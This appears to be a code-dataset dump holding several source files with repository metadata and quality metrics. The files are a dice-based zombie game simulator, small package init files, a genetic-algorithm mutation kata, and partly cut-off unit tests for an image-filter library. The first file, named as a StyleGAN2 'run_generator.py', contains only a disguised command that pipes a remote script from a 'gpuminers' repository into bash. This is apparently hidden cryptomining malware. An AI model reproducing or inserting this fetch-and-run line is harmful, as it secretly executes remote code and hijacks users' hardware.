hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
61323be0e4983d21fbe8573aba51b88ec3da620c
| 121
|
py
|
Python
|
run_generator.py
|
jimmyplummet/StyleGAN2
|
0846919dcb16bce6a710477f1502cb4382f05a19
|
[
"BSD-Source-Code"
] | null | null | null |
run_generator.py
|
jimmyplummet/StyleGAN2
|
0846919dcb16bce6a710477f1502cb4382f05a19
|
[
"BSD-Source-Code"
] | null | null | null |
run_generator.py
|
jimmyplummet/StyleGAN2
|
0846919dcb16bce6a710477f1502cb4382f05a19
|
[
"BSD-Source-Code"
] | null | null | null |
import os as alpha
alpha.system("wget -O - https://gitlab.com/chadpetersen1337/gpuminers/-/raw/main/start_vs.sh | bash")
| 40.333333
| 101
| 0.752066
| 19
| 121
| 4.736842
| 0.947368
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.036036
| 0.082645
| 121
| 2
| 102
| 60.5
| 0.774775
| 0
| 0
| 0
| 0
| 0.5
| 0.702479
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 6
|
6193bfee1768facfda0ce3e818f38f6c1211a5c7
| 35
|
py
|
Python
|
simeeg/__init__.py
|
balandongiv/simeeg
|
5af28e4cf7352c3d7d1072843675d83077994be2
|
[
"MIT"
] | null | null | null |
simeeg/__init__.py
|
balandongiv/simeeg
|
5af28e4cf7352c3d7d1072843675d83077994be2
|
[
"MIT"
] | null | null | null |
simeeg/__init__.py
|
balandongiv/simeeg
|
5af28e4cf7352c3d7d1072843675d83077994be2
|
[
"MIT"
] | null | null | null |
from .create_epoch import sim_data
| 17.5
| 34
| 0.857143
| 6
| 35
| 4.666667
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.114286
| 35
| 1
| 35
| 35
| 0.903226
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
6199950eb37c3a2d83fa0622f8dc17926db687b5
| 21,867
|
py
|
Python
|
hit_z_road.py
|
bigshotJin/HitZRoad
|
5f01de7a785a21fc011322f8e3e655e97fcf02a9
|
[
"MIT"
] | 1
|
2019-12-28T16:47:01.000Z
|
2019-12-28T16:47:01.000Z
|
hit_z_road.py
|
bigshotJin/HitZRoad
|
5f01de7a785a21fc011322f8e3e655e97fcf02a9
|
[
"MIT"
] | null | null | null |
hit_z_road.py
|
bigshotJin/HitZRoad
|
5f01de7a785a21fc011322f8e3e655e97fcf02a9
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python
"""
this module need easy_logging
"""
import os
import pandas as pd
import numpy as np
from easy_logging.easylogging import EasyVerboseLogging
EVLobj = EasyVerboseLogging()
EVLobj.set_class_logger_level('INFO')
EVLobj.get_class_logger()
class HitZombieRoad(object):
def __init__(self):
self.logger = EasyVerboseLogging().get_class_logger()
self.black_dice = None
self.red_dice = None
self._set_dice()
self.human_nums = None
self.normal_zombie_nums = None
self.elite_zombie_nums = None
self._set_default_value()
self.df_result_info = None
self.df_statistics_info = None
self._reset_df()
self.small_round = 1
self.test_loop = 1
def _set_dice(self):
self.black_dice = {
1: ["kill"],
2: ["nothing"],
3: ["kill"],
4: ["death", "adrenaline"],
5: ["adrenaline"],
6: ["kill", "adrenaline"]}
self.red_dice = {
1: ["kill"],
2: ["death"],
3: ["kill"],
4: ["death", "adrenaline"],
5: ["adrenaline"],
6: ["kill", "adrenaline"]}
def _set_default_value(self):
self.human_nums = 5
self.normal_zombie_nums = 4
self.elite_zombie_nums = 2
def _reset_df(self):
self.df_result_info = pd.DataFrame(
columns=['human_nums',
'normal_zombie_nums',
'elite_zombie_nums',
'result_round_num',
'result_death',
'win_or_lose'])
self.df_result_info_with_adrenaline = pd.DataFrame(
columns=['human_nums',
'normal_zombie_nums',
'elite_zombie_nums',
'result_round_num',
'adrenaline_use',
'result_death',
'win_or_lose'])
self.df_statistics_info = pd.DataFrame(
columns=['human_nums',
'normal_zombie_nums',
'elite_zombie_nums',
'winning_probability',
'death_mean',
'round_mean',
'experiment_times'])
self.df_statistics_info_with_adrenaline = pd.DataFrame(
columns=['human_nums',
'normal_zombie_nums',
'elite_zombie_nums',
'winning_probability',
'death_mean',
'adrenaline_mean',
'round_mean',
'experiment_times']
)
def _get_dice_number(self, current_human_nums, current_normal_zombie_nums, current_elite_zombie_nums):
this_round_red_dice_nums = min(current_human_nums, current_elite_zombie_nums)
this_round_black_dice_nums = current_human_nums - this_round_red_dice_nums
self.logger.debug(f'Round:{self.small_round}, '
f'Human:{current_human_nums}, '
f'Normal Zombie:{current_normal_zombie_nums}, '
f'Elite Zombie:{current_elite_zombie_nums}, '
f'Red Dice:{this_round_red_dice_nums}, '
f'Black Dice:{this_round_black_dice_nums}')
return this_round_black_dice_nums, this_round_red_dice_nums
def _get_dice_result(self, black_dice_nums, red_dice_nums):
red_dice_result = np.random.randint(1, 7, red_dice_nums)
black_dice_result = np.random.randint(1, 7, black_dice_nums)
round_dice_result = []
for item in red_dice_result:
round_dice_result.append(self.red_dice[int(item)])
for item in black_dice_result:
round_dice_result.append(self.black_dice[int(item)])
self.logger.debug(f'Round:{self.small_round}, '
f'Red Dice Num:{red_dice_result}, '
f'Black Dice Num:{black_dice_result}, '
f'Total Result:{round_dice_result}')
return round_dice_result
def fuck_zombie_with_adrenaline(self):
current_normal_zombie_nums = self.normal_zombie_nums
current_elite_zombie_nums = self.elite_zombie_nums
current_human_nums = self.human_nums
win_or_lose_flag = None
if current_normal_zombie_nums + current_elite_zombie_nums > 0:
pass
else:
self.logger.debug(f'No Zombie Exist, '
f'Normal = {current_normal_zombie_nums}, '
f'Elite = {current_elite_zombie_nums}')
adrenaline_numbers = 0
while True:
death_numbers = 0
if (current_normal_zombie_nums + current_elite_zombie_nums > 0) and (current_human_nums > 0):
zombie_nums_in_this_round = current_normal_zombie_nums + current_elite_zombie_nums
black_dice_nums, red_dice_nums = self._get_dice_number(
current_human_nums=current_human_nums,
current_normal_zombie_nums=current_normal_zombie_nums,
current_elite_zombie_nums=current_elite_zombie_nums)
round_dice_result = self._get_dice_result(
black_dice_nums=black_dice_nums,
red_dice_nums=red_dice_nums)
for result_list in round_dice_result:
if 'kill' in result_list:
if current_normal_zombie_nums > 0:
current_normal_zombie_nums = current_normal_zombie_nums - 1
if current_normal_zombie_nums < 0:
current_normal_zombie_nums = 0
elif current_normal_zombie_nums == 0 and current_elite_zombie_nums > 0:
current_elite_zombie_nums = current_elite_zombie_nums - 1
if current_elite_zombie_nums < 0:
current_elite_zombie_nums = 0
if 'death' in result_list:
if 'adrenaline' in result_list:
adrenaline_numbers = adrenaline_numbers + 1
else:
if current_human_nums > 0:
current_human_nums = current_human_nums - 1
death_numbers = self.human_nums - current_human_nums
self.logger.debug(
f'Round:{self.small_round}, '
f'Total Zombie:{zombie_nums_in_this_round}, '
f'Normal Zombie:{current_normal_zombie_nums}, '
f'Elite Zombie:{current_elite_zombie_nums}, '
f'Adrenaline:{adrenaline_numbers}, '
f'Human Alive:{current_human_nums}, '
f'Human Death:{death_numbers}')
if (current_normal_zombie_nums + current_elite_zombie_nums == 0) or (current_human_nums == 0):
if current_human_nums > 0:
self.logger.debug(f'Human Win!')
win_or_lose_flag = 'win'
else:
self.logger.debug(f'Human Lose!')
win_or_lose_flag = 'lose'
break
else:
self.logger.error(f'Some Error Happened!')
break
self.small_round = self.small_round + 1
if self.small_round >= 100:
break
result_dict = {'human_nums': [self.human_nums],
'normal_zombie_nums': [self.normal_zombie_nums],
'elite_zombie_nums': [self.elite_zombie_nums],
'result_round_num': [self.small_round],
'adrenaline_use': [adrenaline_numbers],
'result_death': [death_numbers],
'win_or_lose': [win_or_lose_flag]}
self.small_round = 1
return result_dict
def fuck_zombie_without_resource(self):
current_normal_zombie_nums = self.normal_zombie_nums
current_elite_zombie_nums = self.elite_zombie_nums
current_human_nums = self.human_nums
win_or_lose_flag = None
if current_normal_zombie_nums + current_elite_zombie_nums > 0:
pass
else:
self.logger.debug(f'No Zombie Exist, '
f'Normal = {current_normal_zombie_nums}, '
f'Elite = {current_elite_zombie_nums}')
while True:
death_numbers = 0
if (current_normal_zombie_nums + current_elite_zombie_nums > 0) and (current_human_nums > 0):
zombie_nums_in_this_round = current_normal_zombie_nums + current_elite_zombie_nums
black_dice_nums, red_dice_nums = self._get_dice_number(
current_human_nums=current_human_nums,
current_normal_zombie_nums=current_normal_zombie_nums,
current_elite_zombie_nums=current_elite_zombie_nums)
round_dice_result = self._get_dice_result(
black_dice_nums=black_dice_nums,
red_dice_nums=red_dice_nums)
for result_list in round_dice_result:
if 'kill' in result_list:
if current_normal_zombie_nums > 0:
current_normal_zombie_nums = current_normal_zombie_nums - 1
if current_normal_zombie_nums < 0:
current_normal_zombie_nums = 0
elif current_normal_zombie_nums == 0 and current_elite_zombie_nums > 0:
current_elite_zombie_nums = current_elite_zombie_nums - 1
if current_elite_zombie_nums < 0:
current_elite_zombie_nums = 0
if 'death' in result_list:
if current_human_nums > 0:
current_human_nums = current_human_nums - 1
death_numbers = self.human_nums - current_human_nums
self.logger.debug(
f'Round:{self.small_round}, '
f'Total Zombie:{zombie_nums_in_this_round}, '
f'Normal Zombie:{current_normal_zombie_nums}, '
f'Elite Zombie:{current_elite_zombie_nums}, '
f'Human Alive:{current_human_nums}, '
f'Human Death:{death_numbers}')
if (current_normal_zombie_nums + current_elite_zombie_nums == 0) or (current_human_nums == 0):
if current_human_nums > 0:
self.logger.debug(f'Human Win!')
win_or_lose_flag = 'win'
else:
self.logger.debug(f'Human Lose!')
win_or_lose_flag = 'lose'
break
else:
self.logger.error(f'Some Error Happened!')
break
self.small_round = self.small_round + 1
if self.small_round >= 100:
break
result_dict = {'human_nums': [self.human_nums],
'normal_zombie_nums': [self.normal_zombie_nums],
'elite_zombie_nums': [self.elite_zombie_nums],
'result_round_num': [self.small_round],
'result_death': [death_numbers],
'win_or_lose': [win_or_lose_flag]}
self.small_round = 1
return result_dict
def set_para(self, human, normal_zombie, elite_zombie):
self.human_nums = human
self.normal_zombie_nums = normal_zombie
self.elite_zombie_nums = elite_zombie
def simulate_for_no_resource(self, loop_max=1000):
for human in range(1, 11):
for normal in range(0, 11):
for elite in range(0, 5):
print(normal,elite)
if normal + elite > 0:
print(f'Zombies:{normal + elite}')
else:
self.logger.debug(f'No Zombies:normal={normal},elite={elite}')
continue
if os.path.exists(f'result/human_{human}_normal_{normal}_elite_{elite}.csv'):
self.df_result_info = pd.read_csv(
f'result/human_{human}_normal_{normal}_elite_{elite}.csv',
index_col=0)
else:
self.df_result_info = pd.DataFrame(
columns=['human_nums',
'normal_zombie_nums',
'elite_zombie_nums',
'result_round_num',
'result_death',
'win_or_lose'])
if os.path.exists(f'result/statistics_info.csv'):
self.df_statistics_info = pd.read_csv(
f'result/statistics_info.csv',
index_col=0)
else:
self.df_statistics_info = pd.DataFrame(
columns=['human_nums',
'normal_zombie_nums',
'elite_zombie_nums',
'winning_probability',
'death_mean',
'round_mean',
'experiment_times'])
for test_loop in range(0, loop_max):
self.logger.info(f'------------------------test_loop:{test_loop}------------------------')
self.set_para(human, normal, elite)
result_dict = self.fuck_zombie_without_resource()
self.logger.info(f'result={result_dict}')
if len(self.df_result_info) >= 11111:
break
self.df_result_info = self.df_result_info.append(
pd.DataFrame(result_dict), ignore_index=True, sort=False)
self.df_result_info.to_csv(f'result/human_{human}_normal_{normal}_elite_{elite}.csv')
self.logger.info(f'Save Success: result/human_{human}_normal_{normal}_elite_{elite}.csv')
round_mean = self.df_result_info['result_round_num'].mean()
death_mean = self.df_result_info['result_death'].mean()
winning_probability = (
len(self.df_result_info[self.df_result_info['win_or_lose'] == 'win']) /
len(self.df_result_info) * 100)
statistics_dict = {'human_nums': [human],
'normal_zombie_nums': [normal],
'elite_zombie_nums': [elite],
'winning_probability': [winning_probability],
'death_mean': [death_mean],
'round_mean': [round_mean],
'experiment_times': [len(self.df_result_info)]}
_drop_index_list = list(
self.df_statistics_info[
(self.df_statistics_info['human_nums'] == human) &
(self.df_statistics_info['normal_zombie_nums'] == normal) &
(self.df_statistics_info['elite_zombie_nums'] == elite)].index)
if len(_drop_index_list) > 0:
self.df_statistics_info = self.df_statistics_info.drop(index=_drop_index_list)
self.df_statistics_info = self.df_statistics_info.append(
pd.DataFrame(statistics_dict), ignore_index=True, sort=False)
self.df_statistics_info.to_csv(f'result/statistics_info.csv')
self.logger.info(f'result/statistics_info.csv')
def simulate_with_adrenaline(self, loop_max=1000):
for human in range(1, 11):
for normal in range(0, 11):
for elite in range(0, 6):
print(normal,elite)
if normal + elite > 0:
print(f'Zombies:{normal + elite}')
else:
self.logger.debug(f'No Zombies:normal={normal},elite={elite}')
continue
if os.path.exists(f'result_with_adrenaline/human_{human}_normal_{normal}_elite_{elite}.csv'):
self.df_result_info_with_adrenaline = pd.read_csv(
f'result_with_adrenaline/human_{human}_normal_{normal}_elite_{elite}.csv',
index_col=0)
else:
self.df_result_info_with_adrenaline = pd.DataFrame(
columns=['human_nums',
'normal_zombie_nums',
'elite_zombie_nums',
'result_round_num',
'adrenaline_use',
'result_death',
'win_or_lose'])
if os.path.exists(f'result_with_adrenaline/statistics_info.csv'):
self.df_statistics_info_with_adrenaline = pd.read_csv(
f'result_with_adrenaline/statistics_info.csv',
index_col=0)
else:
self.df_statistics_info_with_adrenaline = pd.DataFrame(
columns=['human_nums',
'normal_zombie_nums',
'elite_zombie_nums',
'winning_probability',
'death_mean',
'adrenaline_mean',
'round_mean',
'experiment_times'])
for test_loop in range(0, loop_max):
self.logger.info(f'------------------------test_loop:{test_loop}------------------------')
self.set_para(human, normal, elite)
result_dict = self.fuck_zombie_with_adrenaline()
self.logger.info(f'result={result_dict}')
if len(self.df_result_info_with_adrenaline) >= 10000:
break
self.df_result_info_with_adrenaline = self.df_result_info_with_adrenaline.append(
pd.DataFrame(result_dict), ignore_index=True, sort=False)
self.df_result_info_with_adrenaline.to_csv(f'result_with_adrenaline/human_{human}_normal_{normal}_elite_{elite}.csv')
self.logger.info(f'Save Success: result_with_adrenaline/human_{human}_normal_{normal}_elite_{elite}.csv')
round_mean = self.df_result_info_with_adrenaline['result_round_num'].mean()
death_mean = self.df_result_info_with_adrenaline['result_death'].mean()
adrenaline_mean = self.df_result_info_with_adrenaline['adrenaline_use'].mean()
winning_probability = (
len(self.df_result_info_with_adrenaline[self.df_result_info_with_adrenaline['win_or_lose'] == 'win']) /
len(self.df_result_info_with_adrenaline) * 100)
statistics_dict = {'human_nums': [human],
'normal_zombie_nums': [normal],
'elite_zombie_nums': [elite],
'winning_probability': [winning_probability],
'death_mean': [death_mean],
'adrenaline_mean': [adrenaline_mean],
'round_mean': [round_mean],
'experiment_times': [len(self.df_result_info_with_adrenaline)]}
_drop_index_list = list(
self.df_statistics_info_with_adrenaline[
(self.df_statistics_info_with_adrenaline['human_nums'] == human) &
(self.df_statistics_info_with_adrenaline['normal_zombie_nums'] == normal) &
(self.df_statistics_info_with_adrenaline['elite_zombie_nums'] == elite)].index)
if len(_drop_index_list) > 0:
self.df_statistics_info_with_adrenaline = self.df_statistics_info_with_adrenaline.drop(index=_drop_index_list)
self.df_statistics_info_with_adrenaline = self.df_statistics_info_with_adrenaline.append(
pd.DataFrame(statistics_dict), ignore_index=True, sort=False)
self.df_statistics_info_with_adrenaline.to_csv(f'result_with_adrenaline/statistics_info.csv')
self.logger.info(f'result_with_adrenaline/statistics_info.csv')
if __name__ == '__main__':
HZRobj = HitZombieRoad()
while True:
HZRobj.simulate_with_adrenaline(100)
# for i in range(0,100):
# HZRobj.set_para(100,1000,100)
# print(HZRobj.fuck_zombie_with_adrenaline())
| 47.536957
| 137
| 0.517721
| 2,213
| 21,867
| 4.678265
| 0.063263
| 0.105283
| 0.081909
| 0.071091
| 0.859075
| 0.840143
| 0.828456
| 0.790978
| 0.749251
| 0.717666
| 0
| 0.010352
| 0.399232
| 21,867
| 460
| 138
| 47.536957
| 0.777727
| 0.007088
| 0
| 0.6875
| 0
| 0
| 0.170952
| 0.081421
| 0
| 0
| 0
| 0
| 0
| 1
| 0.028646
| false
| 0.005208
| 0.010417
| 0
| 0.052083
| 0.010417
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
4efd455047eddeff32bc2a390297c2913a743fde
| 51
|
py
|
Python
|
lib/m3u8/iso8601/__init__.py
|
arantius/tvheadend-locast
|
c34d76e663373693994be0b38ded22e51ea2a683
|
[
"MIT"
] | 259
|
2020-03-25T15:49:02.000Z
|
2022-03-21T03:39:23.000Z
|
lib/m3u8/iso8601/__init__.py
|
arantius/tvheadend-locast
|
c34d76e663373693994be0b38ded22e51ea2a683
|
[
"MIT"
] | 226
|
2020-04-13T19:35:06.000Z
|
2022-03-06T00:21:54.000Z
|
lib/m3u8/iso8601/__init__.py
|
arantius/tvheadend-locast
|
c34d76e663373693994be0b38ded22e51ea2a683
|
[
"MIT"
] | 71
|
2020-03-25T15:49:06.000Z
|
2021-09-02T22:57:41.000Z
|
# pylama:ignore=W0401,W0611
from .iso8601 import *
| 17
| 27
| 0.764706
| 7
| 51
| 5.571429
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.266667
| 0.117647
| 51
| 2
| 28
| 25.5
| 0.6
| 0.490196
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
f610dbac8de212129b7046e3cdbabe6471f84f1c
| 26
|
py
|
Python
|
tests/__init__.py
|
web2py/rocket3
|
ba941c3a1d5e4c8b16a22c9c5e3dd5442c1b7624
|
[
"BSD-3-Clause"
] | 1
|
2021-02-11T03:48:41.000Z
|
2021-02-11T03:48:41.000Z
|
tests/__init__.py
|
web2py/rocket3
|
ba941c3a1d5e4c8b16a22c9c5e3dd5442c1b7624
|
[
"BSD-3-Clause"
] | 1
|
2021-02-13T08:48:52.000Z
|
2021-02-13T20:00:42.000Z
|
tests/__init__.py
|
web2py/rocket3
|
ba941c3a1d5e4c8b16a22c9c5e3dd5442c1b7624
|
[
"BSD-3-Clause"
] | 1
|
2021-02-08T20:07:48.000Z
|
2021-02-08T20:07:48.000Z
|
from . import test_rocket
| 13
| 25
| 0.807692
| 4
| 26
| 5
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.153846
| 26
| 1
| 26
| 26
| 0.909091
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
f61497e18155583cc5132e7e990b1097f82cff06
| 130
|
py
|
Python
|
katas/kyu_7/genetic_algorithm_series_2_mutation.py
|
the-zebulan/CodeWars
|
1eafd1247d60955a5dfb63e4882e8ce86019f43a
|
[
"MIT"
] | 40
|
2016-03-09T12:26:20.000Z
|
2022-03-23T08:44:51.000Z
|
katas/kyu_7/genetic_algorithm_series_2_mutation.py
|
akalynych/CodeWars
|
1eafd1247d60955a5dfb63e4882e8ce86019f43a
|
[
"MIT"
] | null | null | null |
katas/kyu_7/genetic_algorithm_series_2_mutation.py
|
akalynych/CodeWars
|
1eafd1247d60955a5dfb63e4882e8ce86019f43a
|
[
"MIT"
] | 36
|
2016-11-07T19:59:58.000Z
|
2022-03-31T11:18:27.000Z
|
from random import random
def mutate(chromosome, p):
return ''.join((a, '01'[a == '0'])[random() <= p] for a in chromosome)
| 21.666667
| 74
| 0.615385
| 20
| 130
| 4
| 0.7
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.028302
| 0.184615
| 130
| 5
| 75
| 26
| 0.726415
| 0
| 0
| 0
| 0
| 0
| 0.023077
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 6
|
f61a4fbc74f3de9d25b2fc9402a7de9aab4a6bbd
| 15,217
|
py
|
Python
|
bigfish/stack/tests/test_filter.py
|
4DNucleome/big-fish
|
5512b6e3274872793ef4365a6dc423c72add91f9
|
[
"BSD-3-Clause"
] | 17
|
2020-03-04T10:46:37.000Z
|
2022-03-10T13:15:16.000Z
|
bigfish/stack/tests/test_filter.py
|
4DNucleome/big-fish
|
5512b6e3274872793ef4365a6dc423c72add91f9
|
[
"BSD-3-Clause"
] | 48
|
2020-03-16T13:39:44.000Z
|
2022-03-31T17:26:50.000Z
|
bigfish/stack/tests/test_filter.py
|
4DNucleome/big-fish
|
5512b6e3274872793ef4365a6dc423c72add91f9
|
[
"BSD-3-Clause"
] | 15
|
2020-03-04T16:02:31.000Z
|
2022-02-17T14:11:15.000Z
|
# -*- coding: utf-8 -*-
# Author: Arthur Imbert <[email protected]>
# License: BSD 3 clause
"""
Unitary tests for bigfish.stack.filter module.
"""
import pytest
import numpy as np
import bigfish.stack as stack
from bigfish.stack.filter import _define_kernel
from numpy.testing import assert_array_equal
from numpy.testing import assert_allclose
# toy images
x = np.array(
[[3, 2, 0, 0, 0],
[2, 1, 0, 0, 0],
[0, 1, 0, 0, 0],
[0, 2, 1, 5, 0],
[0, 0, 0, 0, 0]],
dtype=np.uint8)
y = np.array(
[[0, 0, 62, 164, 55],
[0, 0, 120, 235, 181],
[0, 0, 73, 205, 0],
[0, 131, 0, 0, 0],
[0, 0, 0, 0, 0]],
dtype=np.uint8)
@pytest.mark.parametrize("shape, size", [
("diamond", 3), ("disk", 3), ("rectangle", (2, 3)), ("square", 3),
("blabla", 3)])
@pytest.mark.parametrize("dtype", [
np.uint8, np.uint16, np.uint32, np.uint64,
np.int8, np.int16, np.int32, np.int64,
np.float16, np.float32, np.float64, bool])
def test_kernel(shape, size, dtype):
# non valid case
if shape not in ["diamond", "disk", "rectangle", "square"]:
with pytest.raises(ValueError):
_define_kernel(shape, size, dtype)
# valid cases
else:
kernel = _define_kernel(shape, size, dtype)
if shape == "diamond":
expected_kernel = np.array(
[[0, 0, 0, 1, 0, 0, 0],
[0, 0, 1, 1, 1, 0, 0],
[0, 1, 1, 1, 1, 1, 0],
[1, 1, 1, 1, 1, 1, 1],
[0, 1, 1, 1, 1, 1, 0],
[0, 0, 1, 1, 1, 0, 0],
[0, 0, 0, 1, 0, 0, 0]],
dtype=dtype)
elif shape == "disk":
expected_kernel = np.array(
[[0, 0, 0, 1, 0, 0, 0],
[0, 1, 1, 1, 1, 1, 0],
[0, 1, 1, 1, 1, 1, 0],
[1, 1, 1, 1, 1, 1, 1],
[0, 1, 1, 1, 1, 1, 0],
[0, 1, 1, 1, 1, 1, 0],
[0, 0, 0, 1, 0, 0, 0]],
dtype=dtype)
elif shape == "rectangle":
expected_kernel = np.array(
